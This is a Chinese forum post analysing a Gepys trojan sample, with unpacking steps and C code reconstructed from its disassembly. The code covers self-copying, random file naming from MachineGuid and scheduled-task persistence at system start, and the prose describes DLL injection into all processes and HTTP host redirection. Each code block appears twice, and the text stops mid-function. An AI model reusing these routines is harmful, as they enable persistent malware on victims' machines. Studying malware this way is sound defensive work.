首页
社区
课程
招聘
[原创]某Gepys木马分析与还原C代码
发表于: 2025-7-11 17:51 3876

[原创]某Gepys木马分析与还原C代码

2025-7-11 17:51
3876

第一次完整分析木马,根据网上查到的资料,此木马属于特洛伊木马,是一类以严重侵害运行系统的可用性、完整性、保密性为目的,或运行后能达到同类效果的恶意代码。主要针对X86体系结构下的Windows 32位系统进行攻击。
分析的目的是了解该木马的攻击手法,并练习将汇编代码逆向还原成C代码。限于个人水平,还原可能有不准确之处,欢迎各位前辈指正,样本已上传到附件。

壳代码就不多说了,这个壳还挺简单的,感兴趣的读者可以自行尝试分析壳代码,我只说一下脱壳的过程。

首先使用调试器调试启动该木马,我使用的是OllyICE,使木马程序停到入口处,然后定位到ret指令上的第一个call,按下F4运行到目标地址
图片描述
按F7单步步入,进入call,如果看到的不是汇编代码,是一堆16进制数据,就按ctrl+a,同样往下翻,找到ret指令上面的第一个call,然后按下F4运行到目标地址
图片描述
按F7单步步入,进入call,然后往下翻,找到ret指令上面的第二个call,该call下方的指令是sub esp,0xC,同样按F4运行到目标地址
图片描述
按F7单步步入,进入call,此时停留的地址就是木马程序的真正入口,我们用OllyICE提供的插件进行dump,点击插件,然后点击dump
图片描述
直接选择dump即可,将dump下来的文件保存到本地,这时候就可以分析木马真正的代码逻辑
图片描述

因为我将该木马的汇编代码还原成了C代码,所以分析过程,我直接根据C代码说明,针对每个函数进行分类,读者可以参考对应的函数的汇编代码共同查看该文章

该木马程序是一个win32应用,用户代码的入口是WinMain,下面是WinMain的C代码,它就是创建VS工程时,由VS生成的代码,其他的代码没什么意义,我们需要查看MyRegisterClass函数

这个函数也是由VS生成的,它负责注册窗口类,绑定的窗口过程是WndProc,WndProc是进行窗口消息处理的回调,当操作窗口时,会调用该回调函数,所以我们查看WndProc

在产生WM_CREATE消息的时候,即创建窗口的时候,启动了一个定时器,该定时器每隔1000毫秒向消息队列里投递一个WM_TIMER消息,我们可以查看到WM_TIMER消息的case分支中,当g_nNum全局变量的值等于5时,就调用sub_4022D0,而sub_4022D0就是恶意代码真正的入口

该函数会产生两个随机值,保存到key1中,至于这是什么算法,我就不太了解了

根据key值在pszBuf指向的内存中产生随机字符串

主要逻辑就是调用sub_401E80将自身可执行文件写入到堆内存,创建名为g_szExistingFileName的文件,然后根据系统版本号,调用sub_401510或sub_401830

主要逻辑就是申请堆内存,然后将自身可执行文件读到堆内存,然后将堆地址返回

该函数内部使用到了COM,主要逻辑就是创建计划任务,计划任务启动的应用就是g_szExistingFileName中存储的路径,然后命令行参数是g_szSubStr1,这样我们就可以去查看sub_4022D0中的第130行代码,查找命令行参数的子串就能找到,sub_4022D0中的第130行代码if分支内部调了sub_4013A0,然后判断系统版本大于5,就调用sub_402100,我们先去查看sub_4013A0,然后再查看sub_402100

它主要逻辑也是创建计划任务,启动的应用就是g_szExistingFileName中存储的路径,然后命令行参数是g_szSubStr1,所以sub_401F70中第45行代码,无论走哪个分支,都会创建计划任务,并且命令行参数是g_szSubStr1,我们回到sub_4022D0中的第130行代码查看,它内部调了sub_4013A0,然后判断系统版本大于5,就调用sub_402100,我们先去查看sub_4013A0,然后再查看sub_402100

解密算法,在sub_4013A0中被调用,解密PE文件

等价于汇编bswap指令,将32位值的字节顺序反转

该DLL由主程序释放,同时主程序也修改了某个注册表项,使该DLL会在所有加载user32.dll的进程中被加载,也就意味着该DLL的恶意行为会影响所有进程

主程序释放的dll也加了壳,是同一个壳,它没有像主程序一样替换主模块,它将用户代码保存到堆中运行,我没有想到dump的完美方案,如果大佬有解决方案,可以跟我说下,所以我就说一下定位用户代码的流程
图片描述
然后F7单步步入到函数内部,往下翻代码,F4到ret指令上面第一个call
图片描述
F7单步步入到函数内部,同样往下翻代码,找到第一个call指令和jmp指令的组合,F4运行到call
图片描述
F7单步步入到函数内部,往下翻代码,找到ret指令上面第二个call指令,call指令下面一条指令是sub esp,0xC,F4运行到call
图片描述
F7单步步入到函数内部,可以看到下图,它调用CreateThread启动了线程
图片描述

定位用户代码的最后一张图可以看到当时的申请的堆基址是0x005E0000,所以下面的函数名都是以该堆基址为基准命名

创建一个线程,线程回调为sub_5E16B0

产生随机值

解密算法

Hook指定函数

将主机名传入sub_5E12C9并调用,然后再调用原先函数,调用原先函数时传入的第一个参数为sub_5E12C9的返回值

将主机名传入sub_5E12C9并调用,然后再调用原先函数,调用原先函数时传入的第一个参数为sub_5E12C9的返回值

主要逻辑是根据主机名进行编码,然后将编码后的结果保存到文件中

主要逻辑是获取临时路径,然后进行字符串拼接,最终得到g_byte_5F3110 = "临时路径\low\jngpyes.tmp"和g_byte_5F3710 = "临时路径\jngpyes.tmp"

读指定文件,将数据读到g_byte_5F3008中

创建指定文件,将g_byte_5F3008数据写到文件中

如果发送的数大于16,那么就进入if分支,调用sub_5E13C0

主要是针对http协议数据包修改,会修改主机名,这样数据包就发送给指定的主机

就是判断buf和p1是否相等,比较p2个字节

int APIENTRY wWinMain(_In_ HINSTANCE hInstance,
                     _In_opt_ HINSTANCE hPrevInstance,
                     _In_ LPWSTR    lpCmdLine,
                     _In_ int       nCmdShow)
{
    UNREFERENCED_PARAMETER(hPrevInstance);
    UNREFERENCED_PARAMETER(lpCmdLine);
 
    // TODO: 在此处放置代码。
 
    // 初始化全局字符串
    LoadStringW(hInstance, IDS_APP_TITLE, g_szTitle, MAX_LOADSTRING);
    LoadStringW(hInstance, IDC_GEPYS, g_szWindowClass, MAX_LOADSTRING);
    MyRegisterClass(hInstance);
 
    // 执行应用程序初始化:
    if (!InitInstance (hInstance, nCmdShow))
    {
        return FALSE;
    }
 
    HACCEL hAccelTable = LoadAccelerators(hInstance, MAKEINTRESOURCE(IDC_GEPYS));
 
    MSG msg;
 
    // 主消息循环:
    while (GetMessage(&msg, nullptr, 0, 0))
    {
        if (!TranslateAccelerator(msg.hwnd, hAccelTable, &msg))
        {
            TranslateMessage(&msg);
            DispatchMessage(&msg);
        }
    }
 
    return (int) msg.wParam;
}
int APIENTRY wWinMain(_In_ HINSTANCE hInstance,
                     _In_opt_ HINSTANCE hPrevInstance,
                     _In_ LPWSTR    lpCmdLine,
                     _In_ int       nCmdShow)
{
    UNREFERENCED_PARAMETER(hPrevInstance);
    UNREFERENCED_PARAMETER(lpCmdLine);
 
    // TODO: 在此处放置代码。
 
    // 初始化全局字符串
    LoadStringW(hInstance, IDS_APP_TITLE, g_szTitle, MAX_LOADSTRING);
    LoadStringW(hInstance, IDC_GEPYS, g_szWindowClass, MAX_LOADSTRING);
    MyRegisterClass(hInstance);
 
    // 执行应用程序初始化:
    if (!InitInstance (hInstance, nCmdShow))
    {
        return FALSE;
    }
 
    HACCEL hAccelTable = LoadAccelerators(hInstance, MAKEINTRESOURCE(IDC_GEPYS));
 
    MSG msg;
 
    // 主消息循环:
    while (GetMessage(&msg, nullptr, 0, 0))
    {
        if (!TranslateAccelerator(msg.hwnd, hAccelTable, &msg))
        {
            TranslateMessage(&msg);
            DispatchMessage(&msg);
        }
    }
 
    return (int) msg.wParam;
}
ATOM MyRegisterClass(HINSTANCE hInstance)
{
    WNDCLASSEXW wcex;
 
    wcex.cbSize = sizeof(WNDCLASSEX);
 
    wcex.style          = CS_HREDRAW | CS_VREDRAW;
    wcex.lpfnWndProc    = WndProc; //窗口过程
    wcex.cbClsExtra     = 0;
    wcex.cbWndExtra     = 0;
    wcex.hInstance      = hInstance;
    wcex.hIcon          = LoadIcon(hInstance, MAKEINTRESOURCE(IDI_GEPYS));
    wcex.hCursor        = LoadCursor(nullptr, IDC_ARROW);
    wcex.hbrBackground  = (HBRUSH)(COLOR_WINDOW+1);
    wcex.lpszMenuName   = MAKEINTRESOURCEW(IDC_GEPYS);
    wcex.lpszClassName  = g_szWindowClass;
    wcex.hIconSm        = LoadIcon(wcex.hInstance, MAKEINTRESOURCE(IDI_SMALL));
 
    return RegisterClassExW(&wcex);
}
ATOM MyRegisterClass(HINSTANCE hInstance)
{
    WNDCLASSEXW wcex;
 
    wcex.cbSize = sizeof(WNDCLASSEX);
 
    wcex.style          = CS_HREDRAW | CS_VREDRAW;
    wcex.lpfnWndProc    = WndProc; //窗口过程
    wcex.cbClsExtra     = 0;
    wcex.cbWndExtra     = 0;
    wcex.hInstance      = hInstance;
    wcex.hIcon          = LoadIcon(hInstance, MAKEINTRESOURCE(IDI_GEPYS));
    wcex.hCursor        = LoadCursor(nullptr, IDC_ARROW);
    wcex.hbrBackground  = (HBRUSH)(COLOR_WINDOW+1);
    wcex.lpszMenuName   = MAKEINTRESOURCEW(IDC_GEPYS);
    wcex.lpszClassName  = g_szWindowClass;
    wcex.hIconSm        = LoadIcon(wcex.hInstance, MAKEINTRESOURCE(IDI_SMALL));
 
    return RegisterClassExW(&wcex);
}
LRESULT CALLBACK WndProc(HWND hWnd, UINT message, WPARAM wParam, LPARAM lParam)
{
    switch (message)
    {
    case WM_CREATE://0x1
    {
        //启动定时器
        SetTimer(hWnd, 1, 1000, 0);
        break;
    }
    case WM_COMMAND:
    {
        int wmId = LOWORD(wParam);
        // 分析菜单选择:
        switch (wmId)
        {
        case IDM_ABOUT:
            DialogBox(g_hInst, MAKEINTRESOURCE(IDD_ABOUTBOX), hWnd, About);
            break;
        case IDM_EXIT:
            DestroyWindow(hWnd);
            break;
        default:
            return DefWindowProc(hWnd, message, wParam, lParam);
        }
    }
    break;
    case WM_PAINT:
    {
        PAINTSTRUCT ps;
        HDC hdc = BeginPaint(hWnd, &ps);
        // TODO: 在此处添加使用 hdc 的任何绘图代码...
        EndPaint(hWnd, &ps);
    }
    break;
    case WM_DESTROY:
        PostQuitMessage(0);
        break;
    case WM_TIMER: //0x113
    {
        Global::g_nNum++;
        if (Global::g_nNum == 5) {
            //恶意代码入口
            sub_4022D0();
        }
        break;
    }
    default:
        return DefWindowProc(hWnd, message, wParam, lParam);
    }
    return 0;
}
LRESULT CALLBACK WndProc(HWND hWnd, UINT message, WPARAM wParam, LPARAM lParam)
{
    switch (message)
    {
    case WM_CREATE://0x1
    {
        //启动定时器
        SetTimer(hWnd, 1, 1000, 0);
        break;
    }
    case WM_COMMAND:
    {
        int wmId = LOWORD(wParam);
        // 分析菜单选择:
        switch (wmId)
        {
        case IDM_ABOUT:
            DialogBox(g_hInst, MAKEINTRESOURCE(IDD_ABOUTBOX), hWnd, About);
            break;
        case IDM_EXIT:
            DestroyWindow(hWnd);
            break;
        default:
            return DefWindowProc(hWnd, message, wParam, lParam);
        }
    }
    break;
    case WM_PAINT:
    {
        PAINTSTRUCT ps;
        HDC hdc = BeginPaint(hWnd, &ps);
        // TODO: 在此处添加使用 hdc 的任何绘图代码...
        EndPaint(hWnd, &ps);
    }
    break;
    case WM_DESTROY:
        PostQuitMessage(0);
        break;
    case WM_TIMER: //0x113
    {
        Global::g_nNum++;
        if (Global::g_nNum == 5) {
            //恶意代码入口
            sub_4022D0();
        }
        break;
    }
    default:
        return DefWindowProc(hWnd, message, wParam, lParam);
    }
    return 0;
}
void sub_4022D0()
{
    //获取进程堆句柄
    Global::g_hHeap = GetProcessHeap();
    //获取自系统启动以来已用过的毫秒数
    Global::g_dwKey2[0] = GetTickCount();
    //检索当前系统日期和时间
    FILETIME systemTimeAsFileTime;
    GetSystemTimeAsFileTime(&systemTimeAsFileTime);
    Global::g_dwKey2[1] = systemTimeAsFileTime.dwHighDateTime;
    Global::g_dwKey2[2] = systemTimeAsFileTime.dwLowDateTime;
    //获取当前进程ID
    Global::g_dwKey2[3] = GetCurrentProcessId();
    //获取当前线程ID
    Global::g_dwKey1[0] = GetCurrentThreadId();
    Global::g_dwKey1[1] = 0;
    //生成随机值
    sub_401170(Global::g_dwKey1,Global::g_dwKey2);
    //打开注册表
    HKEY pResult;
    RegOpenKeyExW(HKEY_LOCAL_MACHINE,
        L"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Shell Folders",
        0, KEY_QUERY_VALUE,
        &pResult
    );
    //查询注册表值
    DWORD dwSize = BUF_SIZE;
    RegQueryValueExW(pResult, L"Common AppData", NULL, NULL, (LPBYTE)Global::g_szShortPath, &dwSize);
    //关闭注册表
    RegCloseKey(pResult);
    //定位到字符串结尾
    WCHAR* pTmp = Global::g_szShortPath;
    DWORD i = 0;
    while (pTmp[i] != L'\0')
    {
        i++;
    }
    //判断最后一个字符是不是'\',如果不是,那么就追加'\'
    if (pTmp[i - 1] != L'\\')
    {
        pTmp[i] = L'\\';
    }
    //字符串拼接
    wcscat(Global::g_szShortPath, L"Mozilla\\");
    //创建目录
    CreateDirectoryW(Global::g_szShortPath, NULL);
    //获取路径的短路径格式
    GetShortPathNameW(Global::g_szShortPath, Global::g_szShortPath, BUF_SIZE);
    //打开注册表
    LSTATUS nRet = RegOpenKeyExW(HKEY_LOCAL_MACHINE,
        L"SOFTWARE\\Microsoft\\Cryptography",
        0, KEY_WOW64_64KEY | KEY_QUERY_VALUE,
        &pResult);
    if (nRet != ERROR_SUCCESS)
    {
        return;
    }
    //查询注册表项
    BYTE data[128] = { 0 };
    dwSize = sizeof(data);
    RegQueryValueExW(pResult, L"MachineGuid", NULL, NULL, data, &dwSize);
 
    //循环遍历,将GUID转成数值
    pTmp = (WCHAR*)data;
    BYTE var_14[16] = { 0 };
    int ebx = 0;
    while (pTmp[i] != L'\0')
    {
        WCHAR dx = pTmp[i] - L'0';
        WCHAR cx = 0;
        if (dx <= 9)
        {
            cx = pTmp[i] - L'0';
        }
        else if ((pTmp[i] >= L'a' && pTmp[i] <= L'f') || ((WCHAR)(pTmp[i] - L'A')) < 5)
        {
            cx = (pTmp[i] % 16) + 9;
        }
        else
        {
            i++;
            continue;
        }
        if ((ebx % 2) != 0)
        {
            var_14[ebx / 2] |= cx;
        }
        else
        {
            var_14[ebx / 2] = cx << 4;
        }
        ebx++;
        i++;
    }
    //关闭注册表
    RegCloseKey(pResult);
    i = 0;
    while (i < 10)
    {
        //生成随机值
        sub_401170((DWORD*)var_14, Global::g_dword_408948);
        sub_401170((DWORD*)(var_14 + 4), Global::g_dword_408948);
        sub_401170((DWORD*)(var_14 + 8), Global::g_dword_408948);
        i++;
    }
     
    //字符串拷贝
    wcscpy(Global::g_szFileName, Global::g_szShortPath);
    //生成随机字符串
    pTmp = sub_4012D0(Global::g_szFileName + wcslen(Global::g_szFileName), ((DWORD*)var_14)[0]);
    //字符串拼接
    wcscat(pTmp, L".dll");
 
    //字符串拷贝
    wcscpy(Global::g_szExistingFileName, Global::g_szShortPath);
    //生成随机字符串
    pTmp = sub_4012D0(Global::g_szExistingFileName + wcslen(Global::g_szExistingFileName), ((DWORD*)var_14)[1]);
    //字符串拼接
    wcscat(pTmp, L".exe");
 
    //生成随机字符串
    sub_4012D0(Global::g_szSubStr2, ((DWORD*)var_14)[2]);
    sub_4012D0(Global::g_szSubStr1 + 1, ((DWORD*)var_14)[3]);
    Global::g_szSubStr1[0] = L'-';
     
    //查找子串
    if (wcsstr(GetCommandLineW(), Global::g_szSubStr1) != NULL)
    {
        //修改注册表项,释放dll文件
        bool bRet = sub_4013A0();
        //获取系统版本
        DWORD dwVer = GetVersion();
        if (!bRet || (dwVer & 0xFF) <= 5)
        {
            return;
        }
        //拷贝自身模块,在临时目录下创建文件
        sub_402100();
    }
    //loc_402664
    else
    {
        sub_401F70();
    }
}
void sub_4022D0()
{
    //获取进程堆句柄
    Global::g_hHeap = GetProcessHeap();
    //获取自系统启动以来已用过的毫秒数
    Global::g_dwKey2[0] = GetTickCount();
    //检索当前系统日期和时间
    FILETIME systemTimeAsFileTime;
    GetSystemTimeAsFileTime(&systemTimeAsFileTime);
    Global::g_dwKey2[1] = systemTimeAsFileTime.dwHighDateTime;
    Global::g_dwKey2[2] = systemTimeAsFileTime.dwLowDateTime;
    //获取当前进程ID
    Global::g_dwKey2[3] = GetCurrentProcessId();
    //获取当前线程ID
    Global::g_dwKey1[0] = GetCurrentThreadId();
    Global::g_dwKey1[1] = 0;
    //生成随机值
    sub_401170(Global::g_dwKey1,Global::g_dwKey2);
    //打开注册表
    HKEY pResult;
    RegOpenKeyExW(HKEY_LOCAL_MACHINE,
        L"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Shell Folders",
        0, KEY_QUERY_VALUE,
        &pResult
    );
    //查询注册表值
    DWORD dwSize = BUF_SIZE;
    RegQueryValueExW(pResult, L"Common AppData", NULL, NULL, (LPBYTE)Global::g_szShortPath, &dwSize);
    //关闭注册表
    RegCloseKey(pResult);
    //定位到字符串结尾
    WCHAR* pTmp = Global::g_szShortPath;
    DWORD i = 0;
    while (pTmp[i] != L'\0')
    {
        i++;
    }
    //判断最后一个字符是不是'\',如果不是,那么就追加'\'
    if (pTmp[i - 1] != L'\\')
    {
        pTmp[i] = L'\\';
    }
    //字符串拼接
    wcscat(Global::g_szShortPath, L"Mozilla\\");
    //创建目录
    CreateDirectoryW(Global::g_szShortPath, NULL);
    //获取路径的短路径格式
    GetShortPathNameW(Global::g_szShortPath, Global::g_szShortPath, BUF_SIZE);
    //打开注册表
    LSTATUS nRet = RegOpenKeyExW(HKEY_LOCAL_MACHINE,
        L"SOFTWARE\\Microsoft\\Cryptography",
        0, KEY_WOW64_64KEY | KEY_QUERY_VALUE,
        &pResult);
    if (nRet != ERROR_SUCCESS)
    {
        return;
    }
    //查询注册表项
    BYTE data[128] = { 0 };
    dwSize = sizeof(data);
    RegQueryValueExW(pResult, L"MachineGuid", NULL, NULL, data, &dwSize);
 
    //循环遍历,将GUID转成数值
    pTmp = (WCHAR*)data;
    BYTE var_14[16] = { 0 };
    int ebx = 0;
    while (pTmp[i] != L'\0')
    {
        WCHAR dx = pTmp[i] - L'0';
        WCHAR cx = 0;
        if (dx <= 9)
        {
            cx = pTmp[i] - L'0';
        }
        else if ((pTmp[i] >= L'a' && pTmp[i] <= L'f') || ((WCHAR)(pTmp[i] - L'A')) < 5)
        {
            cx = (pTmp[i] % 16) + 9;
        }
        else
        {
            i++;
            continue;
        }
        if ((ebx % 2) != 0)
        {
            var_14[ebx / 2] |= cx;
        }
        else
        {
            var_14[ebx / 2] = cx << 4;
        }
        ebx++;
        i++;
    }
    //关闭注册表
    RegCloseKey(pResult);
    i = 0;
    while (i < 10)
    {
        //生成随机值
        sub_401170((DWORD*)var_14, Global::g_dword_408948);
        sub_401170((DWORD*)(var_14 + 4), Global::g_dword_408948);
        sub_401170((DWORD*)(var_14 + 8), Global::g_dword_408948);
        i++;
    }
     
    //字符串拷贝
    wcscpy(Global::g_szFileName, Global::g_szShortPath);
    //生成随机字符串
    pTmp = sub_4012D0(Global::g_szFileName + wcslen(Global::g_szFileName), ((DWORD*)var_14)[0]);
    //字符串拼接
    wcscat(pTmp, L".dll");
 
    //字符串拷贝
    wcscpy(Global::g_szExistingFileName, Global::g_szShortPath);
    //生成随机字符串
    pTmp = sub_4012D0(Global::g_szExistingFileName + wcslen(Global::g_szExistingFileName), ((DWORD*)var_14)[1]);
    //字符串拼接
    wcscat(pTmp, L".exe");
 
    //生成随机字符串
    sub_4012D0(Global::g_szSubStr2, ((DWORD*)var_14)[2]);
    sub_4012D0(Global::g_szSubStr1 + 1, ((DWORD*)var_14)[3]);
    Global::g_szSubStr1[0] = L'-';
     
    //查找子串
    if (wcsstr(GetCommandLineW(), Global::g_szSubStr1) != NULL)
    {
        //修改注册表项,释放dll文件
        bool bRet = sub_4013A0();
        //获取系统版本
        DWORD dwVer = GetVersion();
        if (!bRet || (dwVer & 0xFF) <= 5)
        {
            return;
        }
        //拷贝自身模块,在临时目录下创建文件
        sub_402100();
    }
    //loc_402664
    else
    {
        sub_401F70();
    }
}
void sub_401170(DWORD key1[2], DWORD key2[4])
{
    DWORD eax = bswap32(key1[0]);
    DWORD ecx = bswap32(key1[1]);
    DWORD edx = 0;
    for (DWORD i = 0; i < 32; i++)
    {
        DWORD esi = bswap32(key2[edx % 4]) + edx;
        eax = eax + ((((ecx >> 5) ^ (ecx << 4)) + ecx) ^ esi);
        edx = edx - 0x61C88647;
        esi = bswap32(key2[(edx >> 0xB) % 4]) + edx;
        ecx = ecx + ((((eax >> 5) ^ (eax << 4)) + eax) ^ esi);
    }
    key1[0] = bswap32(eax);
    key1[1] = bswap32(ecx);
}
void sub_401170(DWORD key1[2], DWORD key2[4])
{
    DWORD eax = bswap32(key1[0]);
    DWORD ecx = bswap32(key1[1]);
    DWORD edx = 0;
    for (DWORD i = 0; i < 32; i++)
    {
        DWORD esi = bswap32(key2[edx % 4]) + edx;
        eax = eax + ((((ecx >> 5) ^ (ecx << 4)) + ecx) ^ esi);
        edx = edx - 0x61C88647;
        esi = bswap32(key2[(edx >> 0xB) % 4]) + edx;
        ecx = ecx + ((((eax >> 5) ^ (eax << 4)) + eax) ^ esi);
    }
    key1[0] = bswap32(eax);
    key1[1] = bswap32(ecx);
}
WCHAR* sub_4012D0(WCHAR* pszBuf, DWORD key)
{
    DWORD edx = (key / 26);
    DWORD edi = key - (edx * 26);
    DWORD esi = edx;
 
 
    for (DWORD i = 1; i < 4; i++)
    {
        edx = (esi / 26);
        pszBuf[i] = (WCHAR)((esi - (edx * 26)) + 'a');
        esi = edx;
    }
 
    edx = (esi / 26);
    esi = esi - (edx * 26);
    pszBuf[0] = (WCHAR)(edi + 'a');
    edi = edx;
    pszBuf[4] = (WCHAR)(esi + 'a');
 
    esi = (edi / 26);
    edx = esi * 26;
    edi = edi - edx;
    esi = esi - ((esi / 26) * 26);
    edi = edi + 'a';
    esi = esi + 'a';
    pszBuf[5] = (WCHAR)edi;
    pszBuf[6] = (WCHAR)esi;
    pszBuf[7] = L'\0';
 
    return &pszBuf[7];
}
WCHAR* sub_4012D0(WCHAR* pszBuf, DWORD key)
{
    DWORD edx = (key / 26);
    DWORD edi = key - (edx * 26);
    DWORD esi = edx;
 
 
    for (DWORD i = 1; i < 4; i++)
    {
        edx = (esi / 26);
        pszBuf[i] = (WCHAR)((esi - (edx * 26)) + 'a');
        esi = edx;
    }
 
    edx = (esi / 26);
    esi = esi - (edx * 26);
    pszBuf[0] = (WCHAR)(edi + 'a');
    edi = edx;
    pszBuf[4] = (WCHAR)(esi + 'a');
 
    esi = (edi / 26);
    edx = esi * 26;
    edi = edi - edx;
    esi = esi - ((esi / 26) * 26);
    edi = edi + 'a';
    esi = esi + 'a';
    pszBuf[5] = (WCHAR)edi;
    pszBuf[6] = (WCHAR)esi;
    pszBuf[7] = L'\0';
 
    return &pszBuf[7];
}
void sub_401F70()
{
    //申请堆内存,将自身可执行文件拷贝到堆内存
    DWORD dwNumberOfBytesToWrite;
    LPVOID pBuf = sub_401E80(&dwNumberOfBytesToWrite);
    if (pBuf != NULL)
    {
        //创建文件
        HANDLE hFile = CreateFileW(Global::g_szExistingFileName, GENERIC_WRITE, FILE_SHARE_READ, NULL, CREATE_ALWAYS, 0, NULL);
        if (hFile == INVALID_HANDLE_VALUE)
        {
            WCHAR szNewFileName[BUF_SIZE];
            //字符串拷贝
            wcscpy(szNewFileName, Global::g_szExistingFileName);
            //生成随机字符串
            sub_4012D0(szNewFileName + wcslen(szNewFileName), GetTickCount());
            //字符串拼接
            wcscat(szNewFileName, L".tmp");
            //修改文件名
            MoveFileExW(Global::g_szExistingFileName, szNewFileName, 0);
            MoveFileExW(szNewFileName, NULL, MOVEFILE_DELAY_UNTIL_REBOOT);//在系统重启时要删除的 szNewFileName 文件
            //创建文件
            hFile = CreateFileW(Global::g_szExistingFileName, GENERIC_WRITE, FILE_SHARE_READ, NULL, CREATE_ALWAYS, 0, NULL);
            if (hFile == INVALID_HANDLE_VALUE)
            {
                //释放堆
                HeapFree(Global::g_hHeap, 0, pBuf);
                return;
            }
        }
        //loc_402087
         
        //写入文件
        WriteFile(hFile, pBuf, dwNumberOfBytesToWrite, &dwNumberOfBytesToWrite, NULL);
        //关闭文件句柄
        CloseHandle(hFile);
        //释放堆
        HeapFree(Global::g_hHeap, 0, pBuf);
 
        //获取操作系统版本号
        DWORD dwVer = GetVersion();
        if (((BYTE)dwVer) == 5)
        {
            sub_401510();
        }
        else
        {
            if (!sub_401830(1))
            {
                sub_401830(0);
            }
        }
    }
}
void sub_401F70()
{
    //申请堆内存,将自身可执行文件拷贝到堆内存
    DWORD dwNumberOfBytesToWrite;
    LPVOID pBuf = sub_401E80(&dwNumberOfBytesToWrite);
    if (pBuf != NULL)
    {
        //创建文件
        HANDLE hFile = CreateFileW(Global::g_szExistingFileName, GENERIC_WRITE, FILE_SHARE_READ, NULL, CREATE_ALWAYS, 0, NULL);
        if (hFile == INVALID_HANDLE_VALUE)
        {
            WCHAR szNewFileName[BUF_SIZE];
            //字符串拷贝
            wcscpy(szNewFileName, Global::g_szExistingFileName);
            //生成随机字符串
            sub_4012D0(szNewFileName + wcslen(szNewFileName), GetTickCount());
            //字符串拼接
            wcscat(szNewFileName, L".tmp");
            //修改文件名
            MoveFileExW(Global::g_szExistingFileName, szNewFileName, 0);
            MoveFileExW(szNewFileName, NULL, MOVEFILE_DELAY_UNTIL_REBOOT);//在系统重启时要删除的 szNewFileName 文件
            //创建文件
            hFile = CreateFileW(Global::g_szExistingFileName, GENERIC_WRITE, FILE_SHARE_READ, NULL, CREATE_ALWAYS, 0, NULL);
            if (hFile == INVALID_HANDLE_VALUE)
            {
                //释放堆
                HeapFree(Global::g_hHeap, 0, pBuf);
                return;
            }
        }
        //loc_402087
         
        //写入文件
        WriteFile(hFile, pBuf, dwNumberOfBytesToWrite, &dwNumberOfBytesToWrite, NULL);
        //关闭文件句柄
        CloseHandle(hFile);
        //释放堆
        HeapFree(Global::g_hHeap, 0, pBuf);
 
        //获取操作系统版本号
        DWORD dwVer = GetVersion();
        if (((BYTE)dwVer) == 5)
        {
            sub_401510();
        }
        else
        {
            if (!sub_401830(1))
            {
                sub_401830(0);
            }
        }
    }
}
void* sub_401E80(DWORD * p0)
{
    //获取当前可执行文件路径
    WCHAR szFileName[BUF_SIZE];
    GetModuleFileNameW(NULL, szFileName, BUF_SIZE);
    //打开当前可执行文件
    HANDLE hFile = CreateFileW(szFileName, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
    if (hFile == INVALID_HANDLE_VALUE)
    {
        return NULL;
    }
    //获取文件大小
    DWORD dwFileSize = GetFileSize(hFile, NULL);
    //申请堆内存
    LPVOID pBuf = HeapAlloc(Global::g_hHeap, HEAP_ZERO_MEMORY, dwFileSize + 256);
    //读文件
    ReadFile(hFile, pBuf, dwFileSize, &dwFileSize,NULL);
    //关闭句柄
    CloseHandle(hFile);
 
    ((DWORD*)((BYTE*)pBuf + dwFileSize))[0] = Global::g_dwKey1[0];
    ((DWORD*)((BYTE*)pBuf + dwFileSize))[1] = Global::g_dwKey1[1];
    //产生随机值
    sub_401170(Global::g_dwKey1, Global::g_dwKey2);
 
    *p0 = dwFileSize + 8;
    return pBuf;
}
void* sub_401E80(DWORD * p0)
{
    //获取当前可执行文件路径
    WCHAR szFileName[BUF_SIZE];
    GetModuleFileNameW(NULL, szFileName, BUF_SIZE);
    //打开当前可执行文件
    HANDLE hFile = CreateFileW(szFileName, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
    if (hFile == INVALID_HANDLE_VALUE)
    {
        return NULL;
    }
    //获取文件大小
    DWORD dwFileSize = GetFileSize(hFile, NULL);
    //申请堆内存
    LPVOID pBuf = HeapAlloc(Global::g_hHeap, HEAP_ZERO_MEMORY, dwFileSize + 256);
    //读文件
    ReadFile(hFile, pBuf, dwFileSize, &dwFileSize,NULL);
    //关闭句柄
    CloseHandle(hFile);
 
    ((DWORD*)((BYTE*)pBuf + dwFileSize))[0] = Global::g_dwKey1[0];
    ((DWORD*)((BYTE*)pBuf + dwFileSize))[1] = Global::g_dwKey1[1];
    //产生随机值
    sub_401170(Global::g_dwKey1, Global::g_dwKey2);
 
    *p0 = dwFileSize + 8;
    return pBuf;
}
void sub_401510()
{
    //初始化COM
    CoInitializeEx(NULL, COINIT_MULTITHREADED);
    //创建对象
    ITaskScheduler* pTaskScheduler = NULL;
    CoCreateInstance(CLSID_CTaskScheduler,NULL,1, IID_ITaskScheduler,(LPVOID*)&pTaskScheduler);
    //删除任务
    pTaskScheduler->Delete(Global::g_szSubStr2);
    //创建工作项
    ITask* pTask = NULL;
    pTaskScheduler->NewWorkItem(Global::g_szSubStr2, CLSID_CTask, IID_ITask, (IUnknown**)&pTask);
    if (pTask != NULL)
    {
        //创建触发器
        WORD nNewTrigger;
        ITaskTrigger* pTrigger = NULL;
        pTask->CreateTrigger(&nNewTrigger, &pTrigger);
 
        //设置任务触发器的触发器条件
        TASK_TRIGGER trigger = { 0 };
        trigger.cbTriggerSize = sizeof(trigger);
        trigger.wBeginYear = 2000;
        trigger.wBeginMonth = 1;
        trigger.wBeginDay = 1;
        trigger.MinutesDuration = 0xFFFF;
        trigger.TriggerType = TASK_EVENT_TRIGGER_AT_SYSTEMSTART;
        pTrigger->SetTrigger(&trigger);
 
        //将特定应用程序分配给当前任务
        pTask->SetApplicationName(Global::g_szExistingFileName);
        //设置用于运行工作项的帐户名称和密码
        pTask->SetAccountInformation(L"", NULL);
        //设置任务的命令行参数
        pTask->SetParameters(Global::g_szSubStr1);
 
        //查询接口
        IPersistFile* pPersistFile = NULL;
        pTask->QueryInterface(IID_IPersist, (void**)&pPersistFile);
        if (pPersistFile != NULL)
        {
            //对象的副本保存到指定的文件中
            pPersistFile->Save(NULL, TRUE);
            //减少引用计数
            pPersistFile->Release();
        }
        //loc_4017D7
        pTask->Run(); //向任务计划程序服务发送运行 工作项的请求
        //减少引用计数
        pTask->Release();
        pTrigger->Release();
        pTaskScheduler->Release();
        //关闭COM
        CoUninitialize();
    }
}
void sub_401510()
{
    //初始化COM
